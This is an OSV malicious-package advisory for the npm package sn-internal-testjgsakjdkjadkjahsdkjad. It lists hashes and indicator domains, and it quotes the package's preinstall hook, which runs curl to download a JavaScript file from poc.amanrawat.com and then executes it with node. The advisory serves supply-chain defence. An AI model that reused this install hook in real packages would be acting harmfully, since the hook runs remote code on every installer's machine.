MAL-2026-5646

See a problem?
Import Source
https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sn-internal-testjgsakjdkjadkjahsdkjad/MAL-2026-5646.json
JSON Data
https://api.osv.dev/v1/vulns/MAL-2026-5646
Published
2026-06-11T12:38:00Z
Modified
2026-06-11T13:46:35.625523384Z
Summary
Malicious code in sn-internal-testjgsakjdkjadkjahsdkjad (npm)
Details

-= Per source details. Do not edit below this line.=-

Source: amazon-inspector (b71b954927bd19d1ae8c3bef3965b4cbbaae3cc1f29c34ae6f90f36b2cd7f7fe)

package.json declares a preinstall lifecycle hook that runs curl https://poc.amanrawat.com/hehe.js -o index.js && node index.js. On any npm install, the script fetches an unpinned, mutable JavaScript file from poc.amanrawat.com over plain HTTPS and immediately executes it with node under the installer's user account. There is no hash or signature verification, no version pinning, and the destination is not a recognized runtime/CDN or publisher-owned host. The package name (sn-internal-testjgsakjdkjadkjahsdkjad), description ("This is our internal app for testing"), and the poc. (proof-of-concept) hostname indicate this is a dependency-confusion / supply-chain PoC, but the install-time payload is a real and unconditional remote-code-execution primitive against any installer.

Database specific 
{
    "malicious-packages-origins": [
        {
            "id": "IN-MAL-2026-005711",
            "versions": [
                "2.1.1"
            ],
            "sha256": "41f34acb7ed9ab6c864394a7258065fc250cef58f144602ba585a80ed47ea70b",
            "source": "amazon-inspector",
            "modified_time": "2026-06-11T12:38:01Z",
            "import_time": "2026-06-11T13:27:19.212442801Z"
        },
        {
            "id": "IN-MAL-2026-005710",
            "versions": [
                "2.1.1"
            ],
            "sha256": "b71b954927bd19d1ae8c3bef3965b4cbbaae3cc1f29c34ae6f90f36b2cd7f7fe",
            "source": "amazon-inspector",
            "modified_time": "2026-06-11T12:38:00Z",
            "import_time": "2026-06-11T13:27:19.06337463Z"
        }
    ]
}
References
Credits

Affected packages

npm / sn-internal-testjgsakjdkjadkjahsdkjad

Package

Name
sn-internal-testjgsakjdkjadkjahsdkjad
View open source insights on deps.dev
Purl
pkg:npm/sn-internal-testjgsakjdkjadkjahsdkjad

Affected ranges

Affected versions

2.*
2.1.1

Database specific

cwes 
[
    {
        "description": "The product contains code that appears to be malicious in nature.",
        "name": "Embedded Malicious Code",
        "cweId": "CWE-506"
    }
]
indicators 
{
    "evidence_files": [
        {
            "path": "package.json",
            "sha256": "85ab811a823394742db74f41af4c60e983b02e9b152f04be2e5394ebadbd3e30",
            "tlsh": "c9e0d8728b63553745c411a6ccaad81fd6528e2b0516780863af052c819a67794fe71d"
        }
    ],
    "package_integrity": [
        {
            "filename": "sn-internal-testjgsakjdkjadkjahsdkjad-2.1.1.tgz",
            "hashes": {
                "sha512_sri": "sha512-BZzRqAQg1L2kpf3XgjtQ61Cvm34VGzH6NMEaaAeTGxfq1x3qXuptgVX+nKrdvR1TAZMItqyvAACfylyeNb9oEQ==",
                "sha1": "0284fcaa940c19713b65c095d6cc25e487a80f5a"
            }
        }
    ],
    "domains": [
        "poc.amanrawat.com",
        "webhook.site"
    ]
}
source 
"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/sn-internal-testjgsakjdkjadkjahsdkjad/MAL-2026-5646.json"